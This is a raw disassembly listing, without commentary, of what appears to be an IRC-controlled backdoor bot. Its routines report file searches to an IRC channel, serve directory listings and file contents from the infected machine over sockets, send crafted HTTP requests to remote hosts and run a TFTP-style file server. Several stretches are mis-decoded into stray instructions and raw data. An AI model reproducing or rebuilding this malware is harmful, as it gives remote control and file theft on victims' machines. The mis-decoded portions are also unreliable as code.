		push	offset asc_41F964 ; "\n"
		push	eax
		call	sub_411C60
		add	esp, 18h
		lea	eax, [ebp-314h]
		push	eax
		call	ds:dword_41C07C	; GetFileAttributesA
		push	1
		cmp	eax, 10h
		pop	esi
		jz	short loc_403FAC
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_403FAF
		push	dword ptr [ebp+8]
		jmp	short loc_40402B
; ---------------------------------------------------------------------------


loc_403FAC:				; CODE XREF: seg000:00403FA0j
		mov	[ebp-4], esi


loc_403FAF:				; CODE XREF: seg000:00403FA5j
		cmp	byte ptr [ebp+ebx-211h], 5Ch
		jnz	short loc_403FBC
		mov	[ebp-4], esi


loc_403FBC:				; CODE XREF: seg000:00403FB7j
		mov	ebx, [ebp+8]
		cmp	[ebp-4], edi
		mov	[ebp-6C4h], ebx
		mov	[ebp-318h], edi
		jz	short loc_404036
		cmp	[ebp+14h], edi
		jz	short loc_40402A
		lea	eax, [ebp-314h]
		push	offset asc_41F960 ; "*"
		push	eax
		call	sub_411B80
		lea	eax, [ebp-314h]
		push	eax
		lea	eax, [ebp-640h]
		push	eax
		call	sub_41050B
		lea	eax, [ebp-210h]
		push	eax
		call	sub_404873
		lea	eax, [ebp-210h]
		push	eax
		lea	eax, [ebp-53Ch]
		push	eax
		call	sub_41050B
		add	esp, 1Ch
		or	dword ptr [ebp-330h], 0FFFFFFFFh
		mov	[ebp-31Ch], esi
		jmp	short loc_404085
; ---------------------------------------------------------------------------


loc_40402A:				; CODE XREF: seg000:00403FD3j
		push	ebx


loc_40402B:				; CODE XREF: seg000:00403FAAj
		call	ds:dword_430828	; closesocket
		jmp	loc_40412D
; ---------------------------------------------------------------------------


loc_404036:				; CODE XREF: seg000:00403FCEj
		push	edi
		push	edi
		push	3
		push	edi
		push	esi
		lea	eax, [ebp-314h]
		push	80000000h
		push	eax
		call	ds:dword_41C078	; CreateFileA
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_404085
		lea	eax, [ebp-314h]
		push	eax
		lea	eax, [ebp-640h]
		push	eax
		call	sub_41050B
		pop	ecx
		mov	[ebp-31Ch], edi
		pop	ecx
		push	edi
		push	esi
		call	near ptr 3D0000h
		rcl	byte ptr [esi-77h], cl
		test	edx, eax
		cld
; ---------------------------------------------------------------------------
		db 3 dup(0FFh)
; ---------------------------------------------------------------------------
		adc	eax, offset dword_41C070


loc_404085:				; CODE XREF: seg000:00404028j
					; seg000:00404053j
		mov	esi, [ebp+18h]
		lea	eax, [ebp-8C4h]
		push	esi
		push	offset unk_41F91C
		push	eax
		call	sub_41050B
		push	edi
		lea	eax, [ebp-8C4h]
		push	3
		push	eax
		call	sub_40FFB7
		mov	[ebp-32Ch], eax
		imul	eax, 234h
		add	esp, 18h
		mov	ds:dword_4358DC[eax], esi
		lea	eax, [ebp-8]
		push	eax
		lea	eax, [ebp-6C4h]
		push	edi
		push	eax
		push	offset loc_403D02
		push	edi
		push	edi
		call	ds:dword_41C06C	; CreateThread
		mov	ecx, [ebp-32Ch]
		imul	ecx, 234h
		cmp	eax, edi
		mov	ds:dword_4358EC[ecx], eax
		jz	short loc_4040FF


loc_4040ED:				; CODE XREF: seg000:004040FDj
		cmp	[ebp-318h], edi
		jnz	short loc_40412D
		push	5
		call	ds:dword_41C058	; Sleep
		jmp	short loc_4040ED
; ---------------------------------------------------------------------------


loc_4040FF:				; CODE XREF: seg000:004040EBj
		push	ebx
		call	ds:dword_430828	; closesocket
		call	ds:dword_41C068	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp-8C4h]
		push	offset unk_41F8D0
		push	eax
		call	sub_41050B
		lea	eax, [ebp-8C4h]
		push	eax
		call	sub_407E0E
		add	esp, 10h


loc_40412D:				; CODE XREF: seg000:00404031j
					; seg000:004040F3j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404134	proc near		; CODE XREF: seg000:00403E5Bp
					; seg000:0040CF7Fp

var_594		= byte ptr -594h
var_490		= byte ptr -490h
var_388		= dword	ptr -388h
var_374		= byte ptr -374h
var_368		= dword	ptr -368h
var_35C		= byte ptr -35Ch
var_248		= byte ptr -248h
var_75		= byte ptr -75h
var_48		= byte ptr -48h
var_20		= byte ptr -20h
var_18		= word ptr -18h
var_16		= word ptr -16h
var_12		= word ptr -12h
var_E		= word ptr -0Eh
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 594h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	104h
		lea	eax, [ebp+var_594]
		push	ebx
		push	eax
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], ebx
		call	sub_410590
		mov	edi, [ebp+arg_0]
		push	offset asc_41F964 ; "\n"
		push	edi
		call	sub_411C60
		add	esp, 14h
		cmp	[ebp+arg_8], ebx
		jz	short loc_404193
		push	edi
		mov	esi, 200h
		push	[ebp+arg_8]
		lea	eax, [ebp+var_248]
		push	offset aPrivmsgSSearch ; "PRIVMSG %s :Searching	for: %s\r\n"
		push	esi
		push	eax
		call	sub_410A8A
		add	esp, 14h
		jmp	loc_404290
; ---------------------------------------------------------------------------


loc_404193:				; CODE XREF: sub_404134+3Aj
		cmp	[ebp+arg_C], ebx
		push	edi
		jz	loc_404276
		call	sub_410B60
		mov	[eax+edi-1], bl
		push	edi
		mov	esi, 200h
		push	offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_410A8A
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_410B60
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	ds:dword_4307E0	; send
		push	edi
		push	offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_410A8A
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_410B60
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	ds:dword_4307E0	; send
		push	edi
		call	sub_410B60
		push	3Ch
		push	96h
		mov	byte ptr [eax+edi], 2Ah
		push	0E6h
		push	offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_410A8A
		add	esp, 1Ch
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_410B60
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	ds:dword_4307E0	; send
		push	offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_410A8A
		add	esp, 0Ch
		jmp	short loc_404290
; ---------------------------------------------------------------------------


loc_404276:				; CODE XREF: sub_404134+63j
		mov	esi, 200h
		push	offset aSearchingForS ;	"Searching for:	%s\r\n"
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_410A8A
		add	esp, 10h


loc_404290:				; CODE XREF: sub_404134+5Aj
					; sub_404134+140j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_410B60
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	ds:dword_4307E0	; send
		cmp	[ebp+arg_C], ebx
		jz	short loc_404328
		push	[ebp+arg_C]
		call	sub_410B60
		cmp	eax, 2
		pop	ecx
		jbe	short loc_404328
		push	[ebp+arg_C]
		call	sub_410B60
		sub	eax, 3
		pop	ecx
		jz	short loc_4042DC


loc_4042D0:				; CODE XREF: sub_404134+1A6j
		mov	ecx, [ebp+arg_C]
		cmp	byte ptr [eax+ecx], 2Fh
		jz	short loc_4042DC
		dec	eax
		jnz	short loc_4042D0


loc_4042DC:				; CODE XREF: sub_404134+19Aj
					; sub_404134+1A3j
		inc	eax
		push	eax
		lea	eax, [ebp+var_594]
		push	[ebp+arg_C]
		push	eax
		call	sub_411D00
		lea	eax, [ebp+var_594]
		push	eax
		push	offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_410A8A
		add	esp, 1Ch
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_410B60
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	ds:dword_4307E0	; send


loc_404328:				; CODE XREF: sub_404134+17Ej
					; sub_404134+18Cj
		lea	eax, [ebp+var_388]
		push	eax
		push	edi
		call	ds:dword_41C090	; FindFirstFileA
		lea	ecx, [ebp+var_388]
		mov	[ebp+arg_0], eax
		push	ecx
		push	eax
		call	ds:dword_41C08C	; FindNextFileA
		test	eax, eax
		jz	loc_404719
		mov	edi, 1FFh


loc_404354:				; CODE XREF: sub_404134+5DFj
		cmp	[ebp+var_388], ebx
		jz	loc_404701
		lea	eax, [ebp+var_35C]
		push	offset a__	; ".."
		push	eax
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404701
		lea	eax, [ebp+var_35C]
		push	offset a__0	; "."
		push	eax
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404701
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_374]
		push	eax
		call	near ptr 3D0000h
		push	cs
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		call	near ptr 3D0000h
		or	ah, [esi-75h]
		inc	ebp
		lock mov ecx, offset aPm ; "PM"
		cmp	ax, 0Ch
		ja	short loc_4043C9
		mov	ecx, offset aAm	; "AM"


loc_4043C9:				; CODE XREF: sub_404134+28Ej
		cmp	ax, 0Ch
		movzx	eax, ax
		jbe	short loc_4043D5
		sub	eax, 0Ch


loc_4043D5:				; CODE XREF: sub_404134+29Cj
		push	ecx
		movzx	ecx, [ebp+var_E]
		push	ecx
		push	eax
		movzx	eax, [ebp+var_18]
		push	eax
		movzx	eax, [ebp+var_12]
		push	eax
		movzx	eax, [ebp+var_16]
		push	eax
		lea	eax, [ebp+var_48]
		push	offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d  %2.2d:%2.2d %s"
		push	eax
		call	sub_41050B
		add	esp, 20h
		test	byte ptr [ebp+var_388],	10h
		jz	loc_404582
		inc	[ebp+var_8]
		cmp	[ebp+arg_8], ebx
		jz	short loc_404456
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset aS_0	; "<%s>"
		lea	eax, [ebp+var_490]
		push	106h
		push	eax
		call	sub_410A8A
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s  %-21s\n"
		push	esi
		push	eax
		call	sub_410A8A
		add	esp, 28h
		jmp	loc_4046D2
; ---------------------------------------------------------------------------


loc_404456:				; CODE XREF: sub_404134+2DBj
		cmp	[ebp+arg_C], ebx
		jz	loc_404540
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_410A8A
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_410B60
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	ds:dword_4307E0	; send
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_C]
		push	offset aSS	; "%s%s/"
		push	edi
		push	eax
		call	sub_410A8A
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_410B60
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	ds:dword_4307E0	; send
		lea	eax, [ebp+var_35C]
		push	eax
		call	sub_410B60
		cmp	eax, 1Eh
		pop	ecx
		lea	eax, [ebp+var_35C]
		push	eax
		jbe	short loc_4044F6
		push	offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>"
		jmp	short loc_4044FB
; ---------------------------------------------------------------------------


loc_4044F6:				; CODE XREF: sub_404134+3B9j
		push	offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>"


loc_4044FB:				; CODE XREF: sub_404134+3C0j
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_410A8A
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_410B60
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	ds:dword_4307E0	; send
		lea	eax, [ebp+var_48]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		push	edi
		jmp	loc_4046C3
; ---------------------------------------------------------------------------


loc_404540:				; CODE XREF: sub_404134+325j
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset aS_0	; "<%s>"
		lea	eax, [ebp+var_490]
		push	106h
		push	eax
		call	sub_410A8A
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		push	offset a31s21s	; "%-31s  %-21s\r\n"


loc_40456D:				; CODE XREF: sub_404134+476j
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_410A8A
		add	esp, 24h
		jmp	loc_4046D2
; ---------------------------------------------------------------------------


loc_404582:				; CODE XREF: sub_404134+2CFj
		inc	[ebp+var_4]
		cmp	[ebp+arg_8], ebx
		jz	short loc_4045AC
		push	ebx
		push	[ebp+var_368]
		call	sub_40867B
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_35C]
		push	eax
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s  %-21s (%s bytes)\n"
		jmp	short loc_40456D
; ---------------------------------------------------------------------------


loc_4045AC:				; CODE XREF: sub_404134+454j
		cmp	[ebp+arg_C], ebx
		jz	loc_4046AC
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_410A8A
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_410B60
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	ds:dword_4307E0	; send
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_C]
		push	offset aSS_2	; "%s%s"
		push	edi
		push	eax
		call	sub_410A8A
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_410B60
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	ds:dword_4307E0	; send
		lea	eax, [ebp+var_35C]
		push	eax
		call	sub_410B60
		cmp	eax, 1Fh
		pop	ecx
		lea	eax, [ebp+var_35C]
		push	eax
		jbe	short loc_40464C
		push	offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>"
		jmp	short loc_404651
; ---------------------------------------------------------------------------


loc_40464C:				; CODE XREF: sub_404134+50Fj
		push	offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>"


loc_404651:				; CODE XREF: sub_404134+516j
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_410A8A
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_410B60
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	ds:dword_4307E0	; send
		mov	eax, [ebp+var_368]
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_48]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_410A8A
		add	esp, 1Ch
		jmp	short loc_4046D2
; ---------------------------------------------------------------------------


loc_4046AC:				; CODE XREF: sub_404134+47Bj
		push	[ebp+var_368]
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset a31s21sIBytes ; "%-31s  %-21s (%i bytes)\r\n"
		push	esi


loc_4046C3:				; CODE XREF: sub_404134+407j
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_410A8A
		add	esp, 18h


loc_4046D2:				; CODE XREF: sub_404134+31Dj
					; sub_404134+449j ...
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_410B60
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	ds:dword_4307E0	; send
		cmp	[ebp+arg_8], ebx
		jz	short loc_404701
		push	7D0h
		call	ds:dword_41C058	; Sleep


loc_404701:				; CODE XREF: sub_404134+226j
					; sub_404134+241j ...
		lea	eax, [ebp+var_388]
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_41C08C	; FindNextFileA
		test	eax, eax
		jnz	loc_404354


loc_404719:				; CODE XREF: sub_404134+215j
		push	[ebp+arg_0]
		call	near ptr 3D0000h
		mov	cl, 39h
		pop	ebp
		adc	[ebp+esi+var_75], dh
		inc	ebp
		clc
		cdq
		push	edx
		push	eax
		call	sub_40867B
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_4]
		cdq
		push	edx
		push	eax
		call	sub_40867B
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_8]
		push	offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"...
		push	eax
		call	sub_41050B
		add	esp, 14h
		jmp	short loc_404790
; ---------------------------------------------------------------------------
		cmp	[ebp+arg_C], ebx
		jz	short loc_404776
		lea	eax, [ebp+var_248]
		push	offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		push	eax
		call	sub_41050B
		pop	ecx
		pop	ecx
		jmp	short loc_404790
; ---------------------------------------------------------------------------


loc_404776:				; CODE XREF: sub_404134+62Bj
		push	[ebp+var_8]
		lea	eax, [ebp+var_248]
		push	[ebp+var_4]
		push	offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n"
		push	eax
		call	sub_41050B
		add	esp, 10h


loc_404790:				; CODE XREF: sub_404134+626j
					; sub_404134+640j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_410B60
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	ds:dword_4307E0	; send
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_404134	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4047B6	proc near		; CODE XREF: seg000:00403E3Dp

var_404		= byte ptr -404h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 404h
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		push	esi
		push	esi
		push	3
		push	esi
		push	1
		push	80000000h
		push	[ebp+arg_4]
		mov	edi, 400h
		mov	[ebp+var_4], esi
		call	ds:dword_41C078	; CreateFileA
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_40486E
		push	esi
		push	ebx
		call	near ptr 3D0000h
		inc	edx
		cmp	eax, esi
		mov	[ebp+arg_4], eax
		jz	short loc_404867


loc_4047FB:				; CODE XREF: sub_4047B6+AFj
		push	400h
		lea	eax, [ebp+var_404]
		push	esi
		push	eax
		call	sub_410590
		add	esp, 0Ch
		cmp	edi, [ebp+arg_4]
		jbe	short loc_404818
		mov	edi, [ebp+arg_4]


loc_404818:				; CODE XREF: sub_4047B6+5Dj
		mov	eax, [ebp+arg_4]
		push	2
		neg	eax
		push	esi
		push	eax
		push	ebx
		call	ds:dword_41C098	; SetFilePointer
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		push	ebx
		call	ds:dword_41C094	; ReadFile
		push	esi
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_4307E0	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_404862
		call	ds:dword_430730	; WSAGetLastError
		cmp	eax, 2733h
		jnz	short loc_404867
		xor	eax, eax


loc_404862:				; CODE XREF: sub_4047B6+9Bj
		sub	[ebp+arg_4], eax
		jnz	short loc_4047FB


loc_404867:				; CODE XREF: sub_4047B6+43j
					; sub_4047B6+A8j
		push	ebx
		call	ds:dword_41C070	; CloseHandle


loc_40486E:				; CODE XREF: sub_4047B6+30j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4047B6	endp


; =============== S U B	R O U T	I N E =======================================



sub_404873	proc near		; CODE XREF: seg000:00404000p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		xor	esi, esi
		push	edi
		call	sub_410B60
		test	eax, eax
		pop	ecx
		jbe	short loc_40489C


loc_404886:				; CODE XREF: sub_404873+27j
		cmp	byte ptr [esi+edi], 5Ch
		jnz	short loc_404890
		mov	byte ptr [esi+edi], 2Fh


loc_404890:				; CODE XREF: sub_404873+17j
		push	edi
		inc	esi
		call	sub_410B60
		cmp	esi, eax
		pop	ecx
		jb	short loc_404886


loc_40489C:				; CODE XREF: sub_404873+11j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_404873	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4048A1	proc near		; CODE XREF: seg000:0040B5C5p

var_4A0		= byte ptr -4A0h
var_310		= byte ptr -310h
var_110		= byte ptr -110h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 4A0h
		push	ebx
		lea	eax, [ebp+var_4A0]
		push	edi
		push	eax
		push	101h
		call	ds:dword_430718	; WSAStartup
		push	6
		push	1
		push	2
		call	ds:dword_430810	; socket
		mov	ebx, eax
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_410590
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_14]
		call	ds:dword_430794	; ntohs
		push	[ebp+arg_10]
		mov	[ebp+var_E], ax
		call	sub_40731F
		pop	ecx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	ds:dword_430740	; connect
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40497E
		mov	eax, [ebp+arg_20]
		cmp	eax, edi
		jnz	short loc_40491A
		mov	eax, offset dword_42F3E8


loc_40491A:				; CODE XREF: sub_4048A1+72j
		push	esi
		mov	esi, 100h
		push	[ebp+arg_10]
		push	eax
		lea	eax, [ebp+var_110]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	offset aSSHttp1_1Refer ; "%s %s	HTTP/1.1\nReferer: %s\nHost: %s\nCon"...
		push	esi
		push	eax
		call	sub_410A8A
		add	esp, 1Ch
		lea	eax, [ebp+var_110]
		push	edi
		push	eax
		call	sub_410B60
		pop	ecx
		push	eax
		lea	eax, [ebp+var_110]
		push	eax
		push	ebx
		call	ds:dword_4307E0	; send
		push	esi
		lea	eax, [ebp+var_110]
		push	edi
		push	eax
		call	sub_4105F0
		add	esp, 0Ch
		lea	eax, [ebp+var_110]
		push	edi
		push	esi
		push	eax
		push	ebx
		call	ds:dword_4307AC	; recv
		pop	esi


loc_40497E:				; CODE XREF: sub_4048A1+6Bj
		push	ebx
		call	ds:dword_430828	; closesocket
		call	ds:dword_430700	; WSACleanup
		lea	eax, [ebp+var_110]
		push	eax
		lea	eax, [ebp+var_310]
		push	eax
		call	sub_41050B
		cmp	[ebp+arg_C], edi
		pop	ecx
		pop	ecx
		jnz	short loc_4049BE
		push	edi
		lea	eax, [ebp+var_310]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40E367
		add	esp, 14h


loc_4049BE:				; CODE XREF: sub_4048A1+102j
		pop	edi
		pop	ebx
		leave
		retn
sub_4048A1	endp

; ---------------------------------------------------------------------------


loc_4049C2:				; CODE XREF: seg000:loc_404EADp
					; DATA XREF: seg000:00405101o ...
		push	ebp
		mov	ebp, esp
		sub	esp, 884h
		push	ebx
		push	esi
		push	edi
		mov	edx, [ebp+8]
		mov	esi, offset aOctet ; "octet"
		lea	edi, [ebp-1Ch]
		movsd
		push	1
		xor	ebx, ebx
		movsw
		pop	eax
		mov	ecx, 0A9h
		mov	esi, edx
		lea	edi, [ebp-37Ch]
		push	ebx
		push	2
		rep movsd
		inc	dword ptr [ebp-16Ch]
		push	2
		mov	[ebp-0Ch], eax
		mov	[edx+2A0h], eax
		call	ds:dword_430810	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp-10h], edi
		jnz	short near ptr loc_404A84+1
		push	190h
		call	ds:dword_41C058	; Sleep
		call	ds:dword_430730	; WSAGetLastError
		push	eax
		lea	eax, [ebp-780h]
		push	offset unk_41FF6C
		push	eax
		call	sub_41050B
		add	esp, 0Ch
		cmp	[ebp-0E0h], ebx
		jnz	short loc_404A65
		push	ebx
		lea	eax, [ebp-780h]
		push	dword ptr [ebp-0E4h]
		push	eax
		lea	eax, [ebp-164h]
		push	eax
		push	dword ptr [ebp-37Ch]
		call	sub_40E367
		add	esp, 14h


loc_404A65:				; CODE XREF: seg000:00404A40j
		lea	eax, [ebp-780h]
		push	eax
		call	sub_407E0E
		push	dword ptr [ebp-170h]
		call	sub_4102D3
		pop	ecx
		pop	ecx
		push	ebx
		call	near ptr 3D0000h


loc_404A84:				; CODE XREF: seg000:00404A12j
		aam	8Bh
		test	[eax+6AFFFFFEh], edx
		adc	[ecx-40h], ch
		xor	al, 2
; ---------------------------------------------------------------------------
		db 2 dup(0), 53h
; ---------------------------------------------------------------------------
		mov	ds:dword_4358E4[eax], edi
		lea	eax, [ebp-44h]
		push	eax
		call	sub_410590
		add	esp, 0Ch
		mov	word ptr [ebp-44h], 2
		push	dword ptr [ebp-168h]
		call	ds:dword_430794	; ntohs
		mov	[ebp-42h], ax
		lea	eax, [ebp-44h]
		push	10h
		push	eax
		push	edi
		mov	[ebp-40h], ebx
		call	ds:dword_4307C0	; bind
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_404AEA
		push	1388h
		call	ds:dword_41C058	; Sleep
		dec	dword ptr [ebp-16Ch]
		push	dword ptr [ebp+8]
		jmp	loc_404EAD
; ---------------------------------------------------------------------------


loc_404AEA:				; CODE XREF: seg000:00404ACFj
		lea	eax, [ebp-378h]
		push	offset aRb	; "rb"
		push	eax
		call	sub_411B4E
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp-8], eax
		jnz	short near ptr loc_404B67+1
		push	190h
		call	ds:dword_41C058	; Sleep
		lea	eax, [ebp-378h]
		push	eax
		lea	eax, [ebp-780h]
		push	offset unk_41FF1C
		push	eax
		call	sub_41050B


loc_404B27:				; CODE XREF: seg000:loc_404B67j
		push	ebx
		lea	eax, [ebp-780h]
		push	dword ptr [ebp-0E4h]
		push	eax
		lea	eax, [ebp-164h]
		push	eax
		push	dword ptr [ebp-37Ch]
		call	sub_40E367
		lea	eax, [ebp-780h]
		push	eax
		call	sub_407E0E
		push	dword ptr [ebp-170h]
		call	sub_4102D3
		add	esp, 28h
		push	ebx
		call	near ptr 3D0000h


loc_404B67:				; CODE XREF: seg000:00404B02j
		jp	short loc_404B27
		add	[edx], al
; ---------------------------------------------------------------------------
		db 0
		dd 8458B00h, 2A09839h, 840F0000h, 2F1h,	0F780BD89h, 80BFFFFFh
		dd 57000000h, 0FF28858Dh, 5053FFFFh, 5CC45C7h, 0C7000000h
		dd 1388D045h, 85C70000h, 0FFFFF77Ch, 1,	0B9E3E8h, 0CC48300h
		dd 50CC458Dh, 7C858D53h, 53FFFFF7h, 15FF5350h, 43077Ch
		dd 8E0FC085h, 295h, 42F3E8A0h, 88CF8B00h, 0FFFA8085h, 8DC033FFh
		dd 0FFFA81BDh, 0FC45C7FFh, 10h,	0AB66ABF3h, 0F07D8BAAh
		dd 50FC458Dh, 50D4458Dh, 28858D53h, 68FFFFFFh, 80h, 15FF5750h
		dd 43076Ch, 89D875FFh, 15FFF445h, 43081Ch, 0A8458D50h
		dd 0B8E9E850h, 9D380000h, 0FFFFFF28h, 850F5959h, 21Bh
